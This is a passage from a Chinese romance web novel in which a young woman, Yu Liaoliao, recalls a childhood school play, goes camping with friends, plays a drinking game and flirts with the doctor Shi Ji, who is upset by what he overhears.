时霁扬了扬眉,想想也是,她的时间估计都花在“锻炼”上了,哪里有空去看什么电影,可再抬头时,影片里的玛琳菲森刚好俯身,亲吻了公主。 他不知想起什么,忽然回眸,问她:“那为什么要选这部?” “……” 影片名为沉睡魔咒。 改编自童话睡美人。 喻了了顿了一下,下意识想说是乱选的,但又感觉自己选的时候,好像也隐隐带着某种偏向:“因为我小时候……演过。” 他眸光微滞,倒并不见得意外:“演了什么?” “……睡美人。” 他好像对此还挺感兴趣的,就这么偏头看着,等她的下文。 但要具体说的话,其实还有点尴尬,喻了了酝酿了会儿,才摸着耳朵说:“就二年级的时候,学校有个晚会……” 本来她是不感兴趣的,原定的睡美人人选里也并没有她,但在听说江叙要出演王子后,她就开始一天到晚缠着老师说要参演。 老师没办法,只能劝说以后要是有武术剧目一定会考虑她,但童话剧真的不行,然后就被缠得更凶了,最后不得已才妥协说让她试一试。 然而事实证明,老师是对的。 因为从第一次彩排那天起,她就开始自由发挥了。 从闭眼躺在床上那刻起,她的眼睛就始终不安分地睁着一条缝,看着边上的江叙半躬着身,动作慢得就跟静止得差不多。 终于没忍住出声催促:“快点亲!” 江叙吓了一跳,身体一个不稳向前磕去,直接 磕在了她脸上,本来就有点惊魂未经,喻了了还一骨碌坐起来,笑眯眯看着他说:“你亲过我了,以后就要对我负责哦!” “……”他本来就满是惶恐的眼底,瞬间就憋出了泪花。 喻了了见他感动到这么不知所措,赶忙拍拍他的肩膀安慰:“别哭啊,你要是不知道怎么负责,我对你负责就好啦!” 说着就“吧唧”一口亲了他的脸:“这样可以吗?” “……”江叙腿一软,直接睁着眼睛跌坐在地上。 最后的结果当然是没参演成,还随机吓傻了一个男主,直接让王子的人选也异了主。 虽然多年后再想起来,也有了一点别的感触,但在当时的喻了了看来,自己既和江叙有了约定,他也不会再去亲别人了,她就已经非常满意了。 时霁支着腮,饶有兴味听着,末了才问了句:“很喜欢他?” “昂!”喻了了很认真地点头:“他真的长得很好看,虽然过了这么久,我都已经忘了到底是长什么样了,但在那个时候,我就是觉得他是世界上最好看的人。” “而且他还特别乖,我说什么都不会反驳,让他跟我回家就跟我回家,给他吃什么他都喜欢,随便送个礼物也会感动到流眼泪。” 时霁:“……” 确定不是因为害怕吗。 她说:“可惜后来他突然就转学了,我到处都找不到,问了老师很久,才知道是他爸爸妈妈离婚,他跟着妈妈走了。” 时霁愣了愣:“你找过他?” “肯定啊!”喻了了已经很久没想起这些事了:“我还让我爸进系统去查,他是警察,但那老东——但他居然跟我说这事不合规,查不了!” 毫不夸张的说,当时她整整跟那老东西闹了大半年,连“当警察有什么用!还不是连个人都找不到”这样的话说了,最后除了让本就紧张的父女关系更加雪上加霜之外,完全一无所获。 时霁见她眼底仍有些落寞,一时也不知该作何感想,喉结滚动了下,略有些试探地说:“那如果,他现在回来了呢。” “啊?” 他顿了会儿,看着她问:“你还喜欢吗?” “……” 喻了了这才反应过来自己忆往昔的对象是他!虽然有点不太恰当,但她结结实实就有点陷入当着现任的面怀念前任的错乱中,连回答都下意识地充满求生欲:“当、当然不会啊!” 她一本正经,俨然一个甩锅的渣男:“都过去这么久了不是吗,而且那时候小嘛,说的话应该也不能作数吧。” “……” 时霁的眸光压下来,意味不明,却无端有点危险,警告一般,一字一顿地确认:“你确定,不能作数?” “啊……”她神情飘忽,避开他的视线:“对、对啊!” 危急时刻,手机及时震动。 喻了了着急忙慌从兜里摸出来,读取之前还不忘举着向他示意,顺理成章转移话题:“我、我我先回个消息哈!” 解锁屏幕,悄悄呼了口气的同时,看到来消息的人是高扬,说他约了一帮人下周一起去茗林山露营,两天一夜,陈桃也去,问她要不要一起。 刚要拒绝,陈桃的消息也进来了:【去啊!】 【自从你上了这个破班,我们都多久没一起出去野了?正好他们有越野车,装备也齐,我们直接跟上就行】 喻了了的思维却很固定:【我周六要加班啊】 陈桃:【请假啊!】 陈桃:【每天都加班,攒那么多调休用一次不会死人吧?】 “……” 喻了了是有点好动的,也确实已经很久没出去过了,心动在所难免,却还是有点顾虑:【但是和高扬一起出去会不会不太好?】 陈桃:【那有什么不好的?】 陈桃:【你把时医生一起喊上不就好了】 喻了了眨了眨眼:【可以这样吗?】 陈桃:【为什么不行?】 陈桃:【他不都说可以随便喊人了,又没限制喊什么人】 陈桃:【而且你不是说时医生老不肯答应跟你一起游泳吗?换个思路,游泳不行,一起过夜行不行?】 喻了了:【!】 她瞬间思路打开,抬起头来,一脸讨好地戳了戳边上的人:“时霁……” 他抓住她不安分的手:“有事说事。” “嘿……”她顺势抠抠他的手背,凑近了点儿说:“下周要不要一起去露营?就在茗林山那边。” “?” 感觉她的鼻息近了一点,笑容也近在眼前,他神情稍滞,不自然地偏开些许,还在想你别以为这样就能混过去,就听她又说:“高扬他们有车和装备,我们只要带上自己的东西就可以。” “……”他拧了下眉,这才反应过来:“是高扬约的你?” “昂。”喻了了点头:“但不止有他,还有……” 一想到她刚刚捧着手机傻笑的对象是谁,时霁顿时就沉下脸来:“他最近怎么老找你?” “有吗?”喻了了想了想:“上次吃饭的时候意外碰到不算,这也就第二次啊。” “……” 呵。 记得倒挺清楚。 “不去!” 他松开她的手,冷着脸靠回椅背:“绝对不去!” 第17章 第17章大你两岁的能是什么好人…… 一周之后。 松林苑外停着两辆高大越野,一动不动占着本就拥挤的街道,来往行人不由侧目驻足,倍感稀奇的同时,更多还是觉得碍事,便不乏有人指着车窗警告:“等下就叫交警过来给你拖走!” “……” 喻了了在一阵混乱中抵达现场,看着左右各一辆的车子,跟两尊门神一样在小区门口坐镇,还没反应过来,高扬就从右边那辆车上下来,伸手去接她的包:“快走吧,再不走一会儿就得交警大队见了。” 辨别出哪辆是他的车,喻了了敏捷的躲了一下,就摆手说:“那你先走吧,我去跟时霁坐!” 说完就提着包,小跑着往左边走去。 陈桃跟在身后,又狐疑地回头,看了眼他落空后停滞的手。 心里暗道,不会吧不会吧…… 车内的周晨看到这一幕,赶紧从副驾上下来,退位让贤给需要的人:“还是你坐前面吧,他那臭脸我是一秒也不想再看了!” “好的好的!”喻了了一秒也没犹豫,长腿一伸就跨了上去,然后从包里摸出几瓶水,递出去一瓶说:“你口渴吗?要不要喝。” 时霁的脸色其实也还好,起码是要比一周前好多了,只是周晨连着看了整整一周,又差点目睹喻了了上到对面的车,才比较心有余悸。 不敢想她刚刚要是真过去了,前面这位该是什么表情,心里也还挺无语的,明明刚才看到她出来时,他都伸手准备去开门了,结果看到对面有人下车,就愣是傲娇的没有再动,沉着脸坐在那看她到底要怎么选。 直到看到人往这边走,脸色才稍好一点,却还是不怎么太爽的样子,“嗯”了一声把水接过来后,就随意放在手扶箱上,也没有要喝的意思。 喻了了觉得他有点奇怪,每次拒绝她之后,又会莫名其妙的改口,虽然这次主要是因为她请周晨做了动员工作。 但是既然都答应了,为什么还是不开心呢? 她摸了摸耳朵,转身给后面两人也递了水后,就指着三人分别念出名字,简单的互相介绍了下:“陈桃,周晨,时霁。” 陈桃一上车就偷瞄了前座好几眼,仅仅只是侧脸,她就已经忍不住挑眉,偷偷冲喻了了竖过大拇指了,这会儿见人转过来,冲她点头示意了下,视觉冲击更是直达天灵盖,没忍住伸手往边上抓了一把! 忽然被抓住的周晨:“?” 陈桃反应过来,赶紧把姿势改成握手,半点不尴尬地找补:“周医生是吧?久仰久仰,你好你好!” 周晨一时有些恍惚,一副不知道喻 了了都跟她夸过自己什么而有点惭愧的表情,整个人都因此正经不少:“你也……”好。 没说完,手就被无情甩开。 陈桃转头,又微笑冲前面伸手:“时医生,你好?” “……” 喻了了顿时睁大眼睛,一把把时霁护在身后,满脸警惕瞪着后面的饿狼:“你干嘛!” 陈桃还在试图把人推开:“就握个手嘛。” “你想得美!”喻了了想跟她约架:“别逼我在这里跟你绝交!” “小气。”陈桃嘁了一声,这才把手放下。 喻了了却还气鼓鼓的,回头就手动把时霁的身体转正,又把他两只手都带到方向盘上,然后很认真地叮嘱他说:“别理她,我们快开车!” 时霁扬了下眉。 虽然但是,心情突然就好了不少呢。 最大的受害者周晨:“……” 他没好气,踢了脚前座座椅:“磨蹭什么,还不快走!” 时霁没说话,启动车子就准备出发,但老小区门前停车难,调头更难,他走走停停了近五分钟,才得以从这条道上出去。 把周晨磨得脾气都没了:“我说你们这小区停车是不是也太难了点儿?” “对呀。”喻了了点头:“我之前想买车又没买就是这个原因,本来是为了出行方便,买了反倒限制出行。” 所以截至目前,他们几个人中也就只有叶泽洋有车,那家伙还有意跟她作对似的,故意买了她看上的那款,然后一天到晚在她面前晃。 “你们还有朋友?” 周晨问:“那怎么不一起叫来?” “本来是想叫的。” 陈桃说:“但他最近出外景去了,也赶不回来,不然还能给我们拍点照片。” 时霁隐约也有印象,最早在实验上小学的时候,喻了了身后总跟着一帮人,好像都是同个小区的,除了这一个,远东大厦里应该还有一批,主打一个看着就惹不起。 把车驶进主路的同时,他便暗自决定,可绝对不能让她发现自己是谁,不然估计住院都是轻的……- 茗林山离市区不算太远,车程拢共一小时出头,但从山脚开到山顶也要将近一小时,等车子终于停摆时,金乌也已经有了西去的形势。 几人刚从车上下来,高扬的车就顺利靠边,一共也下来了四个人,三男一女,其中有一对情侣。 大家互相打过招呼,喻了了就绕到后备箱开始忙活,时霁刚要跟上,高扬就侧身挡住,又用一种你还挺阴魂不散的语气,单独和他打招呼:“又见面了。” 时霁扯着嘴角,也用一种这不都拜你所赐吗的语气回:“不巧。” “怎么不巧?”高扬讥诮地说:“起码我是没想到,时医生居然这么闲,工作之余还有空陪一个‘患者’来露营?” 时霁扬了扬眉,也不否认,只一脸无可奈何的样子,意有所指道:“那怎么办,盛情难却。” “……” 高扬丢了一血,仍不甘示弱,吃准他的清高持续攻击:“我怎么记得,时医生好像对她并不感兴趣?是因为有人抢,就突然也想要了吗?” 话音刚落,喻了了就挑好一块地方,把东西搬过去后冲这头喊:“时霁,帐篷支在这里可以吗?” 他看了一眼后回头,漫不经心掀起唇角,眼底无奈更甚:“她喊我了。” “……” doublekill。 陈桃在边上连连摇头。 年轻人啊,总是失去了才懂得珍惜。 …… “就这里吧。” 时霁顺带搬过来几包装备,刚在边上放下,高扬就也跟着过来,看着喻了了问:“要帮忙吗?” “不用不用。”喻了了利落地摊好四个角,一提一拉撑起帐篷,就开始找位置准备打地钉:“你弄自己的吧。” 她其实还蛮喜欢做这些事的,尤其是在办公室呆久之后,户外活动对她来说就更像是种放松,非常解压。 高扬却很坚持:“没事,先帮你弄完再说。” 说着就拿走她手里的配件,蹲在地上辛苦打桩,喻了了看着都费劲,却也懒得管他,转头就过来找时霁:“你会吗?” 时霁把另个帐篷取出来,刚要开始搭,就顿了一下说:“不太会。” 喻了了笑起来:“那我帮你!” 正埋头扎地钉的高扬:“……” 时霁扬了下眉,突发奇想:“要不你教我?” 喻了了想想也是,授人以鱼不如授人以渔:“好!那你先把四个角平摊开。” 他点点头,不紧不慢地照做,动作有些迟缓,却还算到位,看起来像个虚心的学生:“这样?” “对没错!”喻了了很满意地点头:“然后再从中间提起来……” 高扬看看自己,又看看隔壁,第一次对自己的茶艺产生怀疑,蒙圈两秒后,果断奋起直追:“了了,这个要怎么弄啊?” 喻了了回头:“你也不会吗?” “嗯。”他神情低落,有点好心办坏事的自责:“扎了两次都还是有点松。” 喻了了一脸那你还瞎帮忙的表情,却还是走过去教他:“就是这样啊,直接45°扎进去就好啦。” 时霁快要气笑,门窗不会自己买,现在连帐篷也不会自己扎了? 还了了? 所以就是说,大你两岁的能是什么好人? “喻了了。” 他手指一松,帐篷又塌回去:“现在怎么办?” 喻了了又看过去:“等我一下!” “就现在!” “来了来了。” 她赶紧完成手里的步骤,刚小跑过去把帐篷重新支起来,高扬又开始喊:“地钉扎好然后呢?” “挂顶帐!” “怎么挂啊?” “等着——” 然后她就这么两头来回跑,虽然是没怎么动手,却感觉比自己搭了十个还要累,最后终于歇下来时,人都渴的快要冒烟。 高扬及时拿过来一瓶水,拧开瓶盖递给她:“渴了吧?快喝点水。” 喻了了刚一接过,就看到时霁伸手抖了抖衣领,一副体力透支渴得不行的样子,她顿了一下,直接把手里的水塞给他:“你先喝!” 时霁神情稍滞,还有点儿犹豫:“那你怎么办?” 喻了了:“我再去拿一瓶!” 高扬:“……” 周晨看得都有点傻眼,如果他没失忆的话,那家伙好像是个体力好到没朋友的户外满分选手吧? 看他那辆越野就知道,里头各色装备应有尽有,平时不管是攀岩还是速降,压根就没少出去野过,除了洁癖比较严重,根本不肯外借之外没别的毛病,结果现在不仅忘了帐篷怎么扎?还现场给他演了这么一出大戏? 陈桃也很震惊,平常看着挺傻一人,居然也有徒手把两个男人调教到为她争风吃醋的一天?两个还都是大帅逼! 就是说,已经开始有点期待她今晚会选谁侍寝了呢。 两人摇头间对上视线,纷纷背过身去,开始在地上画圈圈。 周晨:“我什么都不知道。” 陈桃:“我也是。” 第18章 第18章看你表现。 扎好帐篷,搭好桌椅,八人围坐在一起开始准备晚餐,忽然有人大喊了声:“快看!是日落——” 众人循声望去,入目便是山野空谷,夕阳西下,一阵微风掠过,滚烫金乌便如同一捧风倒的朱砂,霎时染红了半边天。 一片静谧间,有道闪光灯“咔嚓”响起,镜头倏然收入一张迎着落日的精致脸孔。 喻了了回头,摸清状况后拧了下眉:“你干嘛!” “拍照啊。”高扬笑着说:“你们女生不都喜欢拍照嘛。”说着又调整角度:“再给你来几张?” “不要!”喻了了就是个不喜欢拍照的女生,尤其不喜欢出现在别人的镜头里:“你快点删掉!” “干嘛删呀。”高扬对自己的拍照技术很有信心,当即就把照片调出来说:“要不你先看看拍得怎么样?” 喻了了很敷衍地凑过去,想 着看一眼就说好丑,然后再勒令他删除,可目光刚一触及,神情便滞了一下:“……” 高扬见状,不无自得地问:“怎么样,是还不错吧?” 喻了了眼底映着一点晚霞,干净的眉目随之浮现些许赧然:“那你……先把这张发给我。” “行。”高扬不疑有他,转手就发了过去,可等他再次提出要给她拍照时,却还是遭到了拒绝:“不要!” 她一副再拍就翻脸就架势,很认真瞪了他两眼,然后转头就换了副表情,也摸出手机问:“时霁,你要不要拍照?” “……” 时霁漠然坐在折叠椅上,漫不经心架起一块烤盘,随口给出相同答案:“不要。” “真的不要吗?”喻了了不死心:“要不然先拍几张,如果不好看的话再删掉?” 他扯了下唇角,皮笑肉不笑:“不、要!” “他不拍我们拍呗。”高扬虽然不大痛快,倒也还能屈能伸,谁让他之前不识好歹来着呢:“趁现在风景好,我们到前面去……” “不去!”喻了了却直接打断:“要拍你自己拍。” “我自己有什么好拍的呀?要不你过来帮我拍?” “我又不会。” “那你刚还要帮他拍呢?” “那能一样吗!” “哪里不一样?”高扬不甘示弱道:“这要放两个月前,还没他什么事呢!” “……” 她张了张唇,想要反驳,一时却不知道该怎么说,只觉得哪里好像有点奇怪。 他干嘛老提早就过去的事情? “喻了了。”时霁忽然出声。 “啊?”她回头。 他给一片肥牛翻了面,没什么情绪地问:“不饿吗?” 她眨了眨眼,意识到这肉好像是给自己烤的,那点古怪瞬间又一扫而空,立刻就端着碗凑过去:“饿了饿了!” 时霁瞥她一眼,神情说不上好与坏:“要包生菜?” 喻了了点头:“要的要的。” 他便随手包了一个,见她吃下去后又问:“还要?” “嗯嗯。” “……” 高扬一想到自己辛苦组的局,很可能会就这么便宜了别人,登时便深呼吸调整了下,也开始化身伙夫投入竞争:“来,你再试试这个,比烤肉好吃。” 但喻了了对他的态度显然就不那么友好,到后面甚至都有点烦:“你能不能自己吃啊?我碗都满了!” “……” 可时霁在这时又烤好一块肉,偏过头问:“那这个还吃吗?” 她却又毫不犹豫地点头:“吃!” 高扬:“……” …… 对面几人在闲情野趣中又看了出戏。 饱餐之后休息了会儿,其中一个女生便提出要玩游戏,活跃气氛的同时也能消消食。 多人游戏算是露营的常规操作,见大家都没什么意见,她便开始介绍说:“游戏名叫时间炸弹。” “规则是用手机设置一个倒计时,传递手机的同时问一个问题,下一个人接住后开始回答,答完再向下一个人提问,直到倒计时结束,手机铃响就意味着炸弹爆炸,而炸弹在谁手里爆炸就算谁输,输的人要自罚一杯。” 她说完就拿出手机,设定好时间问下个人:“朋友和女朋友哪个重要?” 边上的男生接住,回答“女朋友”后羞涩地摸了摸头,问下一个人:“最喜欢什么颜色?” 周晨回答“黑色”后,问陈桃:“在座的男生谁最帅?” 陈桃想也没想地答“反正不是你”,然后把手机传给高扬:“喜欢什么类型的女生?” 高扬看着边上的人,勾了勾唇说:“让人眼前一亮的。” 而后沉思了下,问她:“最喜欢我身上哪一点?” “……”喻了了是个很有游戏精神的人,都准备好接过手机就立马往后传了,却愣是被这个问题给问懵了。 还最喜欢你身上哪一点?我看你长得像六个点! 她焦灼地上下审视一圈,还没等看出个所以然来,倒计时结束,手机铃响。 “噢~~~” 对面几人见状,终于找到机会起哄:“哈哈,是纠结到选不出来了吗?” “也是,光高和帅就两点了,更别说有钱和对女朋友好了,确实很难选。” “不过他现在单身欸,妹纸,你要是喜欢就说出来,搞不好直接就双箭头了呢?” 喻了了脸色都变了,可除了让他们别乱说之外,也不知道该怎么解释,只能赶紧仰头喝了杯酒后揭过这Part。 然后重新设置了一个倒计时,往下传的时候突发奇想,顿了一下后问:“你喜欢什么类型的女生?” 时霁冷笑了下,也看着她说:“让人眼前一黑的。” 众人:“……” 好、好独特的品味。 只有喻了了在琢磨这个答案的可行性,包不包括把他打得眼前一黑呢?虽然有点冒险,但万一就成了呢? 大不了打傻了她负责嘛…… 炸弹在纠结中转了一圈,又回到她手里,这次高扬的问题是:“上一次喜欢的人是谁?” 喻了了:“……” 她觉得需要眼前一黑的好像另有其人!可任凭拳头攥得嘎嘣响,她都愣是找不到一个可以挥出去的理由! 最后不仅得罚酒一杯,看向时霁的时候还有点心虚,连提问都不敢太大胆:“你现在心情怎么样?” 他抬眸,扯了个假的不能再假的微笑,声线寡淡:“很好。” “……” 她一时也不知道他是在回答问题,还是在揶揄什么,当然也不可能自掘坟墓去问:你是觉得我做得很好吗? 便摸了摸耳朵,佯装不知的进入下一轮。 第三轮,高扬问:“你谈过几次恋爱?” 好不容易有个能回答的问题,她接住手机就脱口而出:“两次!”却好像依然有霉神附体,刚要往后传,手机又响,炸弹又爆…… 她风中凌乱了会儿,仰头又闷了一杯酒,再继续游戏的时候人都有点麻了,直接抄了前面的问题说:“你谈过几次恋爱?” 时霁想也没想:“20次。” 喻了了:“怎么可能!” “怎么不可能?” “你就是无缝衔接也不会这么多吧?” 他“嗯”了一声算做肯定,而后反问:“有规定要说实话?” 她睁大眼睛,后知后觉他好像一直都在说瞎话:“你耍赖!” 他扬了扬眉,并不辩解,只随手把炸弹往下传。 “……” 此后全程,高扬都在问些暗藏闷雷的问题,本意是为了激怒时霁,并离间两人本就不牢靠的关系,结果却把喻了了折腾得不轻,不仅酒没少喝,还一个想知道的答案也没问出来! 一想到自己的露营之旅就是坐在这里社死,她就忍不住有点生气,于是等把最后一杯酒闷掉,她就果断把手机一丢,开始掀桌:“不玩了不玩了!” “我要回去睡觉了!” 然而等众人收拾完散开,各自洗漱完回到帐篷后,说要去睡觉的人却又探出脑袋,悄摸摸出动,去扯了扯隔壁的帐篷。 周晨从内掀开门帘:“干嘛?” 喻了了蹲下,往里看了一圈都没发现目标,神情有点木地问:“时霁呢?” “刚洗漱完又出去了。”周晨摆摆手,示意她退下:“估计是自己去哪儿待着了吧,要找上外边找去。” 喻了了琢磨了一下,就又回了样自己的帐篷,从包里掏出个小包,挂在脖子上后就出去转了一圈。 直到看到个靠坐在山间的轻薄背影,木然的神情才倏而生动起来,笑着小跑过去,抵达目的后一秒站定。 时霁回眸,伸手护了下她急刹后有点晃动的身体,等人站稳后,才不觉有些好笑:“不去睡觉?” 喻了了摇摇头,在边上找了个位置坐下,凑近他的脸颊有些红润:“想来找你。” “……” 她泛光的眼底,拓着再直白不过的意思,好像仅仅只是看到他,就 是一件很开心的事情:“你在干嘛?” “……” 他眸光微顿,而后颤着眼睫错开些许,过了会儿才说:“不知道。” 好像从今日伊始,亦或更早之前,他就已经不知觉地有些混乱。为什么要赴约,为什么要来露营,这一整天下来又究竟都在做些什么,连他自己也说不清楚。 喻了了眨了眨眼,想法很简单:“那我请你看星星好不好?” “?” 她神秘兮兮打开胸前的收纳包,从中取出一个双筒望远镜,然后放在眼前示范了下,就立马递给他说:“呐!用这个,就可以看到星星啦!” “……” 他怔了一下,察觉到什么,眸底忽而有些许升温:“喻了了。” “啊?” “你醉了吗?” “没有啊。” 她刚才是喝的有点多,但都是些低浓度的果酒,这要是醉了像什么话? 可突然被这么一问,又感觉身体好像是有点飘,她犹豫了会儿,过后还是很肯定:“……好像是有一点晕,但肯定没醉!我都知道自己在干什么!” 时霁点点头,也不跟她理论,只晃了晃手里的望远镜说:“那你把这个给我了,自己看什么?” “你呀!”她又笑起来,双手托腮看着他说:“比星星好看多了。” “……” 他有时候还挺佩服她这张口就来的本事,好像根本不知难为情为何物,怎么想便怎么说了,像个马屁精,却又意外中听。 让人忍不住想愿闻其详:“哪里好看?” 她歪了歪脑袋,好像没明白他为什么会问这种问题,却还是很好心的解答:“都很好看啊!” 然后视线自上而下、明目张胆:“眉毛、眼睛、鼻子、还有嘴……”巴。 她眼睫轻颤,视线随着声音顿度,落在他水润的薄唇上,一时有些移不开:“……时霁。” “嗯?” 酒精晕染过后的大脑想一出是一出,她目光呆定,不觉吞咽了下,问他:“你接过吻吗?” “……” 话说的直白,视线更加具体,让人想不知道她在想什么都很难,他敛着眉眼,看着面前粉扑扑的小脸,欺负她这会儿脑子转不过弯,反问:“你呢。” 此刻的喻了了俨然一个单细胞生物,果然顺着他的话思考:“没有啊。” “?”他有些意外:“谈了两次恋爱,没接过吻?” “对呀。”她点点头:“还没到接吻那步就被抓了呀!” “被抓?” “昂……”她吸了吸鼻子,看表情还有点遗憾:“初中不是不让早恋嘛?高中也不让,就都被抓了。” 时霁:“……” 不愧是你。 其实对于她谈过恋爱这件事,他倒也并不意外,毕竟从小就是个颜控到走不动路的人设,也没理由只能对他一个人这样。 但现在听起来,好像还挺坎坷? 他丝毫不知道德为何物,趁醉追问:“那大学呢?” “大学啊……”喻了了拧了下眉,好不容易想起来,还有点生气:“大学里的帅哥根本就不会单身!” 她从入学到毕业,一共喜欢过六个,其中三个有女朋友,两个是海王,还有一个gay。后来好不容易有个空窗,还没等她得到消息,人就又被艺术系的给截胡了! 以至于她大学整整五年,一段恋爱没谈,就已经对爱情彻底麻痹! “……” 虽然但是,他还是没忍住想笑:“然后就是高扬?” “对呀!”喻了了重重点头,又忽然由这个名字想起什么,眼睛顿时又亮起来:“对了!我要给你看他今天给我拍的照片!” 时霁:“……” 大可不必。 她却还是摸出手机,把照片调出来后举到他面前,求证似的说:“你看,那个时候你是不是在偷看我啊?” “……”他神情一滞,垂眸看去。 画面里,日暮当空。 左边一张迎着落日的认真脸孔,而靠右的角落里,还有一个小小的影像,视线漫不经心,落在她脸上。 “不是。”他直接否认。 “不是吗?”她还是有点怀疑,又凑近一点放大给他看:“你看这里……” 没等说完,手机就被抢走。 他随手锁屏,再次否认:“看错了。” 她伸手够了一下,没够到,身体倾倒过去,双手扒住他的手臂,距离猝不及防拉近,看到他隐隐有些泛红的耳廓。 “时霁……”她又歪了歪脑袋,感觉很神奇似的:“你脸红了欸。” “……” 他起身,连带着把她一起拉起来,往回走着说:“回去睡了。” 她脚步跟上,迟缓的脑袋却还停滞着一个问题,他为什么会脸红?几秒后眼睛一亮,很高兴的凑上去:“时霁,你是不是……也有一点喜欢我啊?” “……” 他背对着人,喉结不易察觉的滚动:“没有。” 她却难得感觉强烈:“但我感觉好像有一点欸。” 他坚持:“感觉错了。” “啊……” 喻了了蔫下来,却还是不肯放弃,晃了晃被牵着的手,咕哝着问:“那你,什么时候才会喜欢我呀?” “……” 夜色里,他绷平的唇角有些松动,又顿了会儿,才像找不到一个固执己见的理由,轻缓释然开来,而后压低声音,好商量道:“看你表现。” “!”- 山间风大。 夜深下来时万籁俱寂,唯独呼啸的狂风像要将万物倾倒,把人吹得摇摇晃晃。 时霁把喻了了送回去,看着人乖乖躺进睡袋,又交代陈桃帮忙看着点儿后,就回到隔壁帐篷,扯出睡袋,平展铺开后刚坐进去,耳边就隐约传来一串对话声。 “欸——”陈桃确认人已经走远,伸手推了推边上正莫名其妙捂着脸傻笑的人:“你有没感觉,高扬好像还喜欢你啊?” “啊?”喻了了睁着眼睛,却又好像没有在听:“有吗。” “怎么没有!”陈桃憋一天了都,终于等到夜深人静的此刻,翻了个身就凑过来分析:“要是没有的话,他干嘛约你露营?又不是没朋友!还找我来当幌子,不就是怕你不答应!” “而且这一整天下来,他又是端茶倒水,又是殷勤拍照、回忆往昔的,就很反常好吗?你自己想想,之前你两还处着的时候,他对你有这么上心过吗?” 一连串的话下来,把喻了了砸得有点懵:“好像,没有?” 陈桃拍了把枕头,一脸破案了的表情:“所以啊!他就是失去了又后悔,想再重新把你追回来呀!” 她茫茫然的:“是这样吗……” 时霁保持着单手后撑的姿势,不动声色的扬了扬眉,心道可算是有人来敲醒这个榆木脑袋了。 而后摘下眼镜,刚要往后躺去,那道声音就又开始说:“虽然吧,时医生是比他帅了一点,那种斯文干净的气质也很难得,但看起来就也比他难搞很多啊!我看你这一天天光哄他都挺费劲的,要实在不行,就把高扬换回来得了?反正也挺帅的。” “……” 喻了了用混沌的大脑思考了一下:“这样……好像不太好吧?” “有什么不好的!”陈桃只是畅想了下,就已经感到快乐无比:“那要不轮着来?” “反正你这一时半会也追不上,就先跟高扬好着爽一下?等觉得腻了再把他甩了,到时候时医生说不定也和现在的他一样后悔,你再直接抛个橄榄枝跟他续上,岂不是一举两得!” 她太过认真,神情激动到把喻了了也带着畅想了下:“还可以这样吗……” “为什么不可以!”她一脸恨不能自己上的表情:“趁年轻就是要多体验啊!要不然你把身体练那么好干什么?长命百岁啊?” 喻了了听得一愣一愣的,却莫名感觉她说的有点对:“好像是诶……” 另一边。 周晨看着边上夜色中都肉眼可见的阴翳神情,默默翻了个身,在心里发出沉痛悼念。 喻了了…… 你完了呀…… 彻彻底底的完了呀…… 第19章 第19章男人生气了该怎么哄。 乘着酒意,喻了了美美地睡了一觉,不知梦到什么,一整晚嘴角都是上扬着的,直到隔天梦醒,又坐在帐篷里缓了好一会儿,脸颊余温都还未尽数散去。 她揉了揉眼睛,压 着唇角从睡袋里爬出来,抱上牙杯就往外走,却在半路撞见一抹清爽干净的颀长身影,额间的水珠还未干透,就迎着日光向她走来。 喻了了顿时眼睛一亮,站直了喊人:“时——”霁。 他却好像很忙似的,面无表情拎着洗漱用品经过,只留给她一个清清淡淡的眼神,看着就有点冷。 边上的周晨倒是回头多看了她几眼,神情却不知为何有点像在……缅怀故人? “?”喻了了完全摸不着头脑,倒也没想那么多,只加快速度钻进洗手间,想着等洗漱过后,再回去再问一下就好了。 可等她重新回到露营地时,隔壁却已经开始收拾帐篷,装箱各种物品,一副发生了什么急事,需要马上下山的样子。 她不明所以地凑过去:“现在就要走吗?” 时霁把东西往后备箱一丢,抽空瞥她一眼:“不然?” 继续留在这里打扰你发挥? 他神情太多笃信,她便也跟着染上一点着急:“那你等我一下!” 说着就赶紧转身,着急忙慌收拾完自己的东西,提上就准备跟他走。 高扬刚从洗手间回来,就见营地空了一半,立刻走过去问:“天才刚亮,走这么早干嘛?” 喻了了脚步顿住,语速很快地解释:“时霁好像有事,你自己再玩一会儿吧,我跟他先走了!” “别呀!”他赶紧把人拉住:“他要有事就让他先走啊,你一会儿坐我车回去不就好了,照样能给你送到家门口。” “再说了,你这饭也没吃,一会儿路上低血糖了怎么办?” 喻了了拍了拍身后的包:“没事,我还有饼干和牛奶……” 时霁打远就见这头又拉拉扯扯的寒暄上了,登时便有点不耐烦,从车里偏过头去,用一种你再敢磨蹭一秒就直接跟他走吧的语气说:“还没好?” “好了好了!” 喻了了连忙挣脱开,拉上陈桃就跑了过去,迅速钻进副驾,又拉上安全带乖巧坐好! 时霁这才踩下油门,径直下山,面色却始终算不得好。 一路上,喻了了试图搭了好几次话,譬如问他这么着急是因为什么,要不要吃点东西,以及回去之后打算做什么? 回答问题的却都是周晨:不为什么;估计是没胃口;劝你暂时还是别约。 还没等她摸清楚状况,车子就已经停在松林苑门口,他这时倒是转过来看了她一眼,却也只是抬抬下巴,示意她可以走了。 喻了了沉默了会儿,还是不太甘心,磨磨蹭蹭间又抬起头:“现在好像还早,等下要不要……” 他眸色清淡地看她,一字一顿:“不、要。” 喻了了噎了一下:“可我还没有说是要干什么呢!” 他冷着脸,全盘推翻:“干什么都不要。” “……” “为什么啊?”感觉他又要耍赖,她便有点气不过,拔高声音和他理论:“你昨天不是还说要看我表现吗?但你现在什么都不肯,让我还怎么表现?” 见她还敢理直气壮提这茬,时霁都要气笑了,却还是很大度地为她解答:“需要我帮你回忆一下,昨晚回帐篷之后,你都立了些什么雄心壮志吗?” “我哪有立什么雄——”她声音忽然顿住,很惊恐地想起了一点什么之后,整个人就像死机一样卡住。 “很好。”他满意地点点头,看她的眼神不乏赞许:“看来没有失忆。” “……” “那你的表现,我也算充分见识过了。” “……” “就没必要再另行补充了。” “。” …… 车门打开又关上。 喻了了呆呆站在一旁,看着车子慢吞吞调头,乃至终于绝尘而去,都还是没能从这突如其来的冲击里缓过神来。 一回头,边上不知何时也已空空如也。 她抬眼,看着前方早已跑出八百米远的落魄身影,才终于想起什么似的大喊:“陈桃——” 可哪怕已经逃到天外,陈桃也丝毫没敢放慢脚步:“我什么都不知道——” “……” 喻了了咬牙,一想到自己好不容易取得的建设性成就要这么付诸东流,就忍不住想抓着她去拳馆打一架! 但现在比起这个,显然还有更要紧的事情需要解决。 她深呼吸了下,边往回走边摸出手机,非常真心且积极地开始忏悔。 【我错了】 【真的错了】 